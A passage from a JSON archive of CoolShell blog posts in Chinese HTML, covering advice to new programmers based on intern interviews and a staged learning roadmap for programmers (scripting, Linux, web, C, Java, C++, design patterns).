Templates的界面中左方会展示分类，右方会显示该分类下的影片截图，影片播放、切换、全画面表示都可透过键盘上的方向键、Backspace或Enter等键完成，方便今后的网站开发人员借镜。HTML5 版的模板使用了 <a href=\"http://code.google.com/p/gtv-ui-lib\" target=\"_blank\">Google TV UI library</a>, jQuery  和 Closure 。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1949.html\"><img alt=\"Web中的省略号\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1949.html\">Web中的省略号</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-7-12 给程序员新手的一些建议.html",
    "content": "<html><body><p>前段时间因为实习生计划花了很多时间做了实习生招聘的工作，产生的一些想法，写在这里。</p>\n<p>这次招聘过程中，我发现我们在校的学生有下面的这些特点：</p>\n<p><strong>1）NB的项目。</strong>当说到自己做过的项目时， 我发现他们做的事都是很NB。要么是研究Linux的底层内核，要么是图像识别处理，要么是推荐算法，要么做高性能计算，要么做数据挖掘，要么是移动方面的协议，还有一些很高深的课题我听不太懂的项目。这让我想起当年我在学校里的实习，对比起我用Java Applet 和 HTML做操作系统的教学课件，或是在公司里用Delphi/PowerBuilder做的那些MIS系统。让我觉得有些汗颜。</p>\n<p><strong>2）OK的解决问题能力。</strong>当问到算法题时，我发现他们的问题解决能力还OK。我一般问1到2个中低难度的算法题和1个基本的面向对象设计的题，都不难。我相信只要在学校里好好学习的人都应该答得出来。无非就是一些基本的算法和基本数据结构操作的问题，和比较基础的面向对象设计的题，说白了就是作业题。可惜的是，只有5%不到的同学能够在不给提示的情况下答出来，70%的人可以在给一定的提示下答出来，15%左右的同学需要提示到几乎给出答案才能答出来，还有10%的同学怎么给提示都答不出来。</p>\n<p><strong>3）WTF的编码能力</strong>。老实说，对于解算法题，我还是比较可以接受的，因为80%左右的同学在给予提示后都能描述出解题的算法，于是，我让他们把这个算法用他们最熟悉的语言写出来。但结果让我出乎意料，一段在解法很清楚的情况下只需要不到30行代码的小算法题，只有一个人能在10分钟几写完，其它的人基本所有的需要30分钟左右（甚至40分钟），有2、3个人居然写不出来。有一个比较极端的case是——有个同学花了十分钟都写不出从一个整型数组中找到最小的正数的代码。这个事让我觉得很惊讶，难道大家在做项目的时候不编程吗？</p>\n<p>对于这种情况，我想给大家以下后一些建议：</p>\n<p><span id=\"more-4976\"></span></p>\n<ul>\n<li>我感到我们在校的学生正如“<a href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\" title=\"为什么中国的网页设计那么烂？\">为什么中国的网页这么烂</a>”中所说的——<strong>他们习惯于获取大量的知识，而从不对这些知识进行思考和总结</strong>。问题不是我们知道多少东西，问题是我们在获取这些知识的时候会不会去思考这些知识后的东西？比如：为什么会有这么多经典的数据结构，数组，链表，树，哈希表，图这些数据结构主要用来解决什么样的问题，他们的优势和劣势是什么？<strong>没有思考过，就不算真正的懂，没有思考过，你将无法应对万变的问题，没有思考过，你将成为书呆子</strong>。</li>\n</ul>\n<ul>\n<li><strong>多多实践而不是研究</strong>。编程不是在实验室做科研搞理论啊，计算机这本就是一个实践性很强的的学科啊，这不是数学，这需要你多多的实践啊。我们不要真以为读的是——计算机科学（Computer Science ）就是搞理论的了，这里面需要很多很多的Engineering的工作。（我实在是很难想像，居然有这么多人写一般难度的程序居然会是那么痛苦的事）</li>\n</ul>\n<ul>\n<li>我在我的新浪微博（<a href=\"http://weibo.com/haoel\" target=\"_blank\">@左耳朵耗子</a>）里说的，我们不要以为做过项目，会写程序，我们就是程序员了。如果你只是在按部就班地写代码，你就是Coder，江湖叫“码农”，不要把自己当成“码农”，我们一定要对自己的代码，自己的设计不停地反思和总结，并精益求精，写程序本来就是一件有价值的事，这就像写篇作文人人都会写，但并不是人人都能把文章写好。<strong>编程和写作都是一样的，这都是在搞创作啊。想做“码农”还是想做“程序员”？自己决定吧</strong>。</li>\n</ul>\n<ul>\n<li><strong>我们的教育的确很“废柴”，但这不是我们成为“废柴”的原因</strong>。如果我们的学习还停留在“别人给我什么我就学什么”的被动学习阶段，那么你真的不懂怎么是学习。虽然，我们的学校里并没有教你什么是“Version Control”，什么是“Coding Style”，什么是“Refactory”，什么是“Code Review”，什么是“Unit Test”，也没有告诉你一些经典的设计的和架构，等等，等等，但是这是什么年代了？这个时代不是像我上学那时——学校机房里上机用的电脑连内存和硬盘都没有，用5寸的低密软盘面对绿色显示器的286，上网还要“猫”，而且贵的要死（一小时22元），而且网上什么都没有时代了。<strong>我们身边有很多很多优秀的人，网上有很多优秀的文章，书店里也有很多不错的书，而且我们的软件开发日趋成熟，如果我们还学不好的话，那么我们就是在犯罪！</strong></li>\n</ul>\n<p>最后，和大家说一下公司的实习生招聘。这个事情其实是毕业生招聘的一个组成部分，也就是说，因为我国教育的问题，再加上学生自己的问题，导致毕业生量多质次的情况很严重，对于公司，其很难从学校招到一个比较不错的毕业生，这种情况已经不是新问题了，所以，也有很多公司都不招刚毕业的学生。因此，通过实习机会了解并招聘毕业生成了很多公司的毕业生招聘的手段。所以，在这里想告诉在校的同学们，千万不要以为实习计划就是字面上的实习。其实，这和正式的招聘没有什么差别，同样也要看你的能力的。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8138.html\"><img alt=\"为什么我反对纯算法面试题\" height=\"150\" src=\"../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4506.html\"><img alt=\"再谈“我是怎么招聘程序员的”（上）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招聘程序员的”（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4490.html\"><img alt=\"再谈“我是怎么招聘程序员的”（下）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4490.html\">再谈“我是怎么招聘程序员的”（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3345.html\"><img alt=\"140个Google的面试题\" height=\"150\" src=\"../wp-content/uploads/2010/12/googlequestion-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1870.html\"><img alt=\"我是怎么招聘程序员的\" height=\"150\" src=\"../wp-content/uploads/2009/12/job-interview-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1870.html\">我是怎么招聘程序员的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4976.html\">给程序员新手的一些建议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-7-18 程序员技术练级攻略.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-5006\" height=\"300\" src=\"../wp-content/uploads/2011/07/programmer.png\" title=\"程序员技术练级入略\" width=\"258\"/><strong><span style=\"color: #cc0000; font-size: 16pt;\">注：该文最新的版本在这里</span>《<a href=\"https://coolshell.cn/articles/18360.html\" style=\"font-size: 16pt;\">程序员技术练级攻略（2018版）</a>》<span style=\"color: #cc0000; font-size: 16pt;\">（需要付费阅读）</span></strong></p>\n<p>月光博客6月12日发表了《<a href=\"http://www.williamlong.info/archives/2700.html\" rel=\"noopener\" target=\"_blank\">写给新手程序员的一封信</a>》，翻译自《<a href=\"http://blog.akash.im/an-open-letter-to-those-who-want-to-start\" rel=\"noopener\" target=\"_blank\">An open letter to those who want to start programming</a>》，我的朋友（他在本站的id是<a href=\"https://coolshell.cn/?author=3\" rel=\"noopener\" target=\"_blank\">Mailper</a>）告诉我，他希望在酷壳上看到一篇更具操作性的文章。因为他也是喜欢编程和技术的家伙，于是，我让他把他的一些学习Python和Web编程的一些点滴总结一下。于是他给我发来了一些他的心得和经历，我在把他的心得做了不多的增改，并根据我的经历增加了“进阶”一节。<strong>这是一篇由新手和我这个老家伙根据我们的经历完成的文章</strong>。</p>\n<p>我的这个朋友把这篇文章取名叫Build Your Programming Technical Skills，我实在不知道用中文怎么翻译，但我在写的过程中，<strong>我觉得这很像一个打网游做任务升级的一个过程，所以取名叫“技术练级攻略”，题目有点大，呵呵，这个标题纯粹是为了好玩</strong>。<strong>这里仅仅是在分享Mailper和我个人的学习经历。</strong>（注：省去了我作为一个初学者曾经学习过的一些技术(今天明显过时了)，如：Delphi/Power builder，也省去了我学过的一些我觉得没意思的技术Lotus Notes/ActiveX/COM/ADO/ATL/.NET ……）</p>\n<h4>前言</h4>\n<p>你是否觉得自己从学校毕业的时候只做过小玩具一样的程序？走入职场后哪怕没有什么经验也可以把以下这些课外练习走一遍（朋友的抱怨：学校课程总是从理论出发，作业项目都看不出有什么实际作用，不如从工作中的需求出发）</p>\n<p>建议：</p>\n<ul>\n<li>不要乱买书，不要乱追新技术新名词，基础的东西经过很长时间积累而且还会在未来至少10年通用。</li>\n<li>回顾一下历史，看看历史上时间线上技术的发展，你才能明白明天会是什么样。</li>\n<li>一定要动手，例子不管多么简单，建议至少自己手敲一遍看看是否理解了里头的细枝末节。</li>\n<li>一定要学会思考，思考为什么要这样，而不是那样。还要举一反三地思考。</li>\n</ul>\n<p><strong>注</strong>：你也许会很奇怪为什么下面的东西很偏Unix/Linux，这是因为我觉得Windows下的编程可能会在未来很没有前途，原因如下：</p>\n<p><span id=\"more-4990\"></span></p>\n<ul>\n<li>现在的用户界面几乎被两个东西主宰了，1）Web，2）移动设备iOS或Android。Windows的图形界面不吃香了。</li>\n<li>越来越多的企业在用成本低性能高的Linux和各种开源技术来构架其系统，Windows的成本太高了。</li>\n<li>微软的东西变得太快了，很不持久，他们完全是在玩弄程序员。详情参见《<a href=\"https://coolshell.cn/articles/3008.html\" rel=\"noopener\" target=\"_blank\" title=\"Windows编程革命简史\">Windows编程革命史</a>》</li>\n</ul>\n<p>所以，我个人认为以后的趋势是前端是Web+移动，后端是Linux+开源。开发这边基本上没Windows什么事。</p>\n<h4>启蒙入门</h4>\n<p><strong>1、 学习一门脚本语言，例如Python/Ruby</strong></p>\n<p>可以让你摆脱对底层语言的恐惧感，脚本语言可以让你很快开发出能用得上的小程序。实践项目:</p>\n<ul>\n<li>处理文本文件，或者csv (关键词 python csv, python open, python sys) 读一个本地文件，逐行处理（例如 word count，或者处理log）</li>\n<li>遍历本地文件系统 (sys, os, path)，例如写一个程序统计一个目录下所有文件大小并按各种条件排序并保存结果</li>\n<li>跟数据库打交道 (python sqlite)，写一个小脚本统计数据库里条目数量</li>\n<li>学会用各种print之类简单粗暴的方式进行调试</li>\n<li>学会用Google (phrase, domain, use reader to follow tech blogs)</li>\n</ul>\n<p>为什么要学脚本语言，因为他们实在是太方便了，很多时候我们需要写点小工具或是脚本来帮我们解决问题，你就会发现正规的编程语言太难用了。</p>\n<p><strong>2、 用熟一种程序员的编辑器(不是IDE) 和一些基本工具</strong></p>\n<ul>\n<li>Vim / Emacs / Notepad++，学会如何配置代码补全，外观，外部命令等。</li>\n<li>Source Insight (或 ctag)</li>\n</ul>\n<p>使用这些东西不是为了Cool，而是这些编辑器在查看、修改代码/配置文章/日志会更快更有效率。</p>\n<p><strong>3、 熟悉Unix/Linux Shell和常见的命令行</strong></p>\n<ul>\n<li>如果你用windows，至少学会用虚拟机里的linux， vmware player是免费的，装个Ubuntu吧</li>\n<li>一定要少用少用图形界面。</li>\n<li>学会使用man来查看帮助</li>\n<li>文件系统结构和基本操作 ls/chmod/chown/rm/find/ln/cat/mount/mkdir/tar/gzip …</li>\n<li>学会使用一些文本操作命令 sed/awk/grep/tail/less/more …</li>\n<li>学会使用一些管理命令 ps/top/lsof/netstat/kill/tcpdump/iptables/dd…</li>\n<li>了解/etc目录下的各种配置文章，学会查看/var/log下的系统日志，以及/proc下的系统运行信息</li>\n<li>了解正则表达式，使用正则表达式来查找文件。</li>\n</ul>\n<p>对于程序员来说Unix/Linux比Windows简单多了。（参看我四年前CSDN的博文《<a href=\"http://blog.csdn.net/haoel/article/details/1533720\" rel=\"noopener\" target=\"_blank\">其实Unix很简单</a>》）学会使用Unix/Linux你会发现图形界面在某些时候实在是太难用了，相当地相当地降低工作效率。</p>\n<p><strong>4、 学习Web基础（HTML/CSS/JS) + 服务器端技术 (LAMP)</strong></p>\n<p>未来必然是Web的世界，学习WEB基础的最佳网站是<a href=\"http://www.w3school.com.cn/\" rel=\"noopener\" target=\"_blank\">W3School</a>。</p>\n<ul>\n<li>学习HTML基本语法</li>\n<li>学习CSS如何选中HTML元素并应用一些基本样式（关键词：box model）</li>\n<li>学会用  Firefox + Firebug 或 chrome 查看你觉得很炫的网页结构，并动态修改。</li>\n<li>学习使用Javascript操纵HTML元件。理解DOM和动态网页（<a href=\"http://oreilly.com/catalog/9780596527402\" rel=\"noopener\" target=\"_blank\">http://oreilly.com/catalog/9780596527402</a>) 网上有免费的章节，足够用了。或参看 <a href=\"http://www.w3school.com.cn/htmldom/index.asp\" rel=\"noopener\" target=\"_blank\">DOM</a> 。</li>\n<li>学会用  Firefox + Firebug 或 chrome 调试Javascript代码（设置断点，查看变量，性能，控制台等）</li>\n<li>在一台机器上配置<a href=\"www.apache.org\" rel=\"noopener\" target=\"_blank\">Apache </a>或 <a href=\"nginx.net\" rel=\"noopener\" target=\"_blank\">Nginx</a></li>\n<li>学习<a href=\"www.php.net\" rel=\"noopener\" target=\"_blank\">PHP</a>，让后台PHP和前台HTML进行数据交互，对服务器相应浏览器请求形成初步认识。实现一个表单提交和反显的功能。</li>\n<li>把PHP连接本地或者远程数据库 MySQL（MySQL 和 SQL现学现用够了）</li>\n<li>跟完一个名校的网络编程课程（例如：<a href=\"http://www.stanford.edu/~ouster/cgi-bin/cs142-fall10/index.php\" rel=\"noopener\" target=\"_blank\">http://www.stanford.edu/~ouster/cgi-bin/cs142-fall10/index.php</a> ) 不要觉得需要多于一学期时间，大学生是全职一学期选3-5门课，你业余时间一定可以跟上</li>\n<li>学习一个javascript库（例如jQuery 或 ExtJS）+  Ajax (异步读入一个服务器端图片或者数据库内容）+JSON数据格式。</li>\n<li>HTTP: The Definitive Guide 读完前4章你就明白你每天上网用浏览器的时候发生的事情了(proxy, gateway, browsers)</li>\n<li>做个小网站（例如：一个小的留言板，支持用户登录，Cookie/Session，增、删、改、查，上传图片附件，分页显示）</li>\n<li>买个域名，租个空间，做个自己的网站。</li>\n</ul>\n<h4>进阶加深</h4>\n<p><strong>1、 C语言和操作系统调用</strong></p>\n<ul>\n<li>重新学C语言，理解指针和内存模型，用C语言实现一下各种经典的算法和数据结构。推荐《<a href=\"http://product.china-pub.com/197050\">计算机程序设计艺术</a>》、《<a href=\"http://product.china-pub.com/31701\" rel=\"noopener\" target=\"_blank\">算法导论</a>》和《<a href=\"http://product.china-pub.com/209243\" rel=\"noopener\" target=\"_blank\">编程珠玑</a>》。</li>\n<li>学习<a href=\"https://coolshell.cn/articles/3723.html\" rel=\"noopener\" target=\"_blank\" title=\"（麻省理工免费课程）计算机科学和编程导论\">（麻省理工免费课程）计算机科学和编程导论</a></li>\n<li>学习<a href=\"https://coolshell.cn/articles/2474.html\" rel=\"noopener\" target=\"_blank\" title=\"（麻省理工免费课程）C语言内存管理和C++面向对象编程\">（麻省理工免费课程）C语言内存管理</a></li>\n<li>学习Unix/Linux系统调用（<a href=\"http://product.china-pub.com/30181\" rel=\"noopener\" target=\"_blank\">Unix高级环境编程</a>），，了解系统层面的东西。\n<ul>\n<li>用这些系统知识操作一下文件系统，用户（实现一个可以拷贝目录树的小程序）</li>\n<li>用fork/wait/waitpid写一个多进程的程序，用pthread写一个多线程带同步或互斥的程序。多进程多进程购票的程序。</li>\n<li>用signal/kill/raise/alarm/pause/sigprocmask实现一个多进程间的信号量通信的程序。</li>\n<li>学会使用gcc和gdb来编程和调试程序（参看我的《<a href=\"blog.csdn.net/haoel/article/details/2879\" rel=\"noopener\" target=\"_blank\">用gdb调试程序</a>》）</li>\n<li>学会使用makefile来编译程序。（参看我的《<a href=\"blog.csdn.net/haoel/article/details/2886\" rel=\"noopener\" target=\"_blank\">跟我一起写makefile</a>》）</li>\n<li>IPC和Socket的东西可以放到高级中来实践。</li>\n</ul>\n</li>\n<li>学习Windows SDK编程（<a href=\"http://product.china-pub.com/52880\" rel=\"noopener\" target=\"_blank\">Windows 程序设计 </a>，<a href=\"http://product.china-pub.com/3804\" rel=\"noopener\" target=\"_blank\">MFC程序设计</a>）\n<ul>\n<li>写一个窗口，了解WinMain/WinProcedure，以及Windows的消息机制。</li>\n<li>写一些程序来操作Windows SDK中的资源文件或是各种图形控件，以及作图的编程。</li>\n<li>学习如何使用MSDN查看相关的SDK函数，各种WM_消息以及一些例程。</li>\n<li>这本书中有很多例程，在实践中请不要照抄，试着自己写一个自己的例程。</li>\n<li>不用太多于精通这些东西，因为GUI正在被Web取代，主要是了解一下Windows 图形界面的编程。@<a href=\"http://twitter.com/#!/virushuo\" title=\"virushuo\">virushuo</a> 说：“ 我觉得GUI确实不那么热门了，但充分理解GUI工作原理是很重要的。包括移动设备开发，如果没有基础知识仍然很吃力。或者说移动设备开发必须理解GUI工作，或者在win那边学，或者在mac/iOS上学”。</li>\n</ul>\n</li>\n</ul>\n<p><strong>2、学习Java</strong></p>\n<ul>\n<li>Java 的学习主要是看经典的Core Java 《<a href=\"http://product.china-pub.com/208978\" rel=\"noopener\" target=\"_blank\">Java 核心技术编程</a>》和《<a href=\"http://product.china-pub.com/34838\" rel=\"noopener\" target=\"_blank\">Java编程思想</a>》（有两卷，我仅链了第一卷，足够了，因为Java的图形界面了解就可以了）</li>\n<li>学习JDK，学会查阅Java API Doc <a href=\"http://download.oracle.com/javase/6/docs/api/\">http://download.oracle.com/javase/6/docs/api/</a></li>\n<li>了解一下Java这种虚拟机语言和C和Python语言在编译和执行上的差别。从C、Java、Python思考一下“跨平台”这种技术。</li>\n<li>学会使用IDE Eclipse，使用Eclipse 编译，调试和开发Java程序。</li>\n<li>建一个Tomcat的网站，尝试一下JSP/Servlet/JDBC/MySQL的Web开发。把前面所说的那个PHP的小项目试着用JSP和Servlet实现一下。</li>\n</ul>\n<div><strong>3、Web的安全与架构</strong></div>\n<div>\n<ul>\n<li>学习HTML5，网上有很多很多教程，以前<a href=\"https://coolshell.cn\" rel=\"noopener\" target=\"_blank\">酷壳</a>也介绍过很多，我在这里就不罗列了。</li>\n<li>学习Web开发的安全问题（参考<a href=\"https://coolshell.cn/articles/4914.html\" rel=\"noopener\" target=\"_blank\" title=\"新浪微博的XSS攻击\">新浪微博被攻击的这个事</a>，以及<a href=\"http://guides.rubyonrails.org/security.html\" rel=\"noopener\" target=\"_blank\">Ruby的这篇文章</a>）</li>\n<li>学习HTTP Server的rewrite机制，Nginx的反向代理机制，<a href=\"http://en.wikipedia.org/wiki/Fast_CGI\" rel=\"noopener\" target=\"_blank\">fast-cgi</a>（如：<a href=\"http://php-fpm.org/\" rel=\"noopener\" target=\"_blank\">PHP-FPM</a>）</li>\n<li>学习Web的静态页面缓存技术。</li>\n<li>学习Web的异步工作流处理，数据Cache，数据分区，负载均衡，水平扩展的构架。</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>使用HTML5的canvas 制作一些Web动画。</li>\n<li>尝试在前面开发过的那个Web应用中进行SQL注入，JS注入，以及XSS攻击。</li>\n<li>把前面开发过的那个Web应用改成构造在Nginx + PHP-FPM + 静态页面缓存的网站</li>\n</ul>\n</li>\n</ul>\n</div>\n<p><strong>4、学习关系型数据库</strong></p>\n<ul>\n<li>你可以安装MSSQLServer或MySQL来学习数据库。</li>\n<li>学习教科书里数据库设计的那几个范式，1NF，2NF，3NF，……</li>\n<li>学习数据库的存过，触发器，视图，建索引，游标等。</li>\n<li>学习SQL语句，明白表连接的各种概念（参看《<a href=\"https://coolshell.cn/articles/3463.html\" title=\"图解SQL的Join\">SQL  Join的图示</a>》）</li>\n<li>学习如何优化数据库查询（参看《<a href=\"https://coolshell.cn/articles/1846.html\" title=\"MySQL性能优化的最佳20+条经验\">MySQL的优化</a>》）</li>\n<li><strong>实践任务</strong>：设计一个论坛的数据库，至少满足3NF，使用SQL语句查询本周，本月的最新文章，评论最多的文章，最活跃用户。</li>\n</ul>\n<p><strong>5、一些开发工具</strong></p>\n<ul>\n<li>学会使用SVN或Git来管理程序版本。</li>\n<li>学会使用JUnit来对Java进行单元测试。</li>\n<li>学习C语言和Java语言的coding standard 或 coding guideline。（我N年前写过一篇关C语言非常简单的文章——《<a href=\"http://blog.csdn.net/haoel/article/category/9200/2\" rel=\"noopener\" target=\"_blank\">编程修养</a>》，这样的东西你可以上网查一下，一大堆）。</li>\n<li>推荐阅读《<a href=\"http://product.china-pub.com/28351\" rel=\"noopener\" target=\"_blank\">代码大全</a>》《<a href=\"http://product.china-pub.com/196374\" rel=\"noopener\" target=\"_blank\">重构</a>》《<a href=\"http://product.china-pub.com/196266\" rel=\"noopener\" target=\"_blank\">代码整洁之道</a>》</li>\n</ul>\n<h4>高级深入</h4>\n<p><strong>1、C++ / Java 和面向对象</strong></p>\n<p>我个人以为学好C++，Java也就是举手之劳。但是C++的学习曲线相当的陡。不过，我觉得C++是最需要学好的语言了。参看两篇趣文“<a href=\"https://coolshell.cn/articles/2287.html\" rel=\"noopener\" target=\"_blank\" title=\"C++ 程序员自信心曲线图\">C++学习信心图</a>” 和“<a href=\"https://coolshell.cn/articles/2250.html\" rel=\"noopener\" target=\"_blank\" title=\"“21天教你学会C++”\">21天学好C++</a>”</p>\n<ul>\n<li>学习<a href=\"https://coolshell.cn/articles/2474.html\" rel=\"noopener\" target=\"_blank\" title=\"（麻省理工免费课程）C语言内存管理和C++面向对象编程\">（麻省理工免费课程）C++面向对象编程</a></li>\n<li>读我的 “<a href=\"https://coolshell.cn/articles/4119.html\" rel=\"noopener\" target=\"_blank\" title=\"如何学好C++语言\">如何学好C++</a>”中所推荐的那些书至少两遍以上（如果你对C++的理解能够深入到像我所写的《<a href=\"https://coolshell.cn/articles/12165.html\" rel=\"noopener\" target=\"_blank\" title=\"C++ 虚函数表解析\">C++虚函数表解析</a>》或是《<a href=\"https://coolshell.cn/articles/12176.html\" rel=\"noopener\" target=\"_blank\" title=\"C++ 对象的内存布局\">C++对象内存存局</a>》，或是《<a href=\"https://coolshell.cn/articles/12192.html\" rel=\"noopener\" target=\"_blank\" title=\"C/C++返回内部静态成员的陷阱\">C/C++返回内部静态成员的陷阱</a>》那就非常不错了）</li>\n<li>然后反思为什么C++要干成这样，Java则不是？你一定要学会对比C++和Java的不同。比如，Java中的初始化，垃圾回收，接口，异常，虚函数，等等。</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>用C++实现一个BigInt，支持128位的整形的加减乘除的操作。</li>\n<li>用C++封装一个数据结构的容量，比如hash table。</li>\n<li>用C++封装并实现一个智能指针（一定要使用模板）。</li>\n</ul>\n</li>\n<li>《<a href=\"http://product.china-pub.com/25961\" rel=\"noopener\" target=\"_blank\">设计模式</a>》必需一读，两遍以上，思考一下，这23个模式的应用场景。主要是两点：1）钟爱组合而不是继承，2）钟爱接口而不是实现。（也推荐《<a href=\"http://product.china-pub.com/27862\">深入浅出设计模式</a>》）</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>使用工厂模式实现一个内存池。</li>\n<li>使用策略模式制做一个类其可以把文本文件进行左对齐，右对齐和中对齐。</li>\n<li>使用命令模式实现一个命令行计算器，并支持undo和redo。</li>\n<li>使用修饰模式实现一个酒店的房间价格订价策略——旺季，服务，VIP、旅行团、等影响价格的因素。</li>\n</ul>\n</li>\n<li>学习STL的用法和其设计概念  – 容器，算法，迭代器，函数子。如果可能，请读一下其源码。</li>\n<li><strong>实践任务：</strong>尝试使用面向对象、STL，设计模式、和WindowsSDK图形编程的各种技能\n<ul>\n<li>做一个贪吃蛇或是俄罗斯方块的游戏。支持不同的级别和难度。</li>\n<li>做一个文件浏览器，可以浏览目录下的文件，并可以对不同的文件有不同的操作，文本文件可以打开编辑，执行文件则执行之，mp3或avi文件可以播放，图片文件可以展示图片。</li>\n</ul>\n</li>\n<li>学习C++的一些类库的设计，如： MFC（看看候捷老师的《<a href=\"http://product.china-pub.com/3565\" rel=\"noopener\" target=\"_blank\">深入浅出MFC</a>》） ，Boost, ACE,  CPPUnit，STL （STL可能会太难了，但是如果你能了解其中的设计模式和设计那就太好了，如果你能深入到我写的《<a href=\"http://blog.csdn.net/haoel/article/details/24058\" rel=\"noopener\" target=\"_blank\">STL string类的写时拷贝技术</a>》那就非常不错了，ACE需要很强在的系统知识，参见后面的“加强对系统的了解”）</li>\n<li>Java是真正的面向对象的语言，Java的设计模式多得不能再多，也是用来学习面向对象的设计模式的最佳语言了（参看<a href=\"https://coolshell.cn/articles/3320.html\" rel=\"noopener\" target=\"_blank\" title=\"JDK里的设计模式\">Java中的设计模式</a>）。</li>\n<li>推荐阅读《<a href=\"http://product.china-pub.com/195040\">Effective Java</a>》 and 《<a 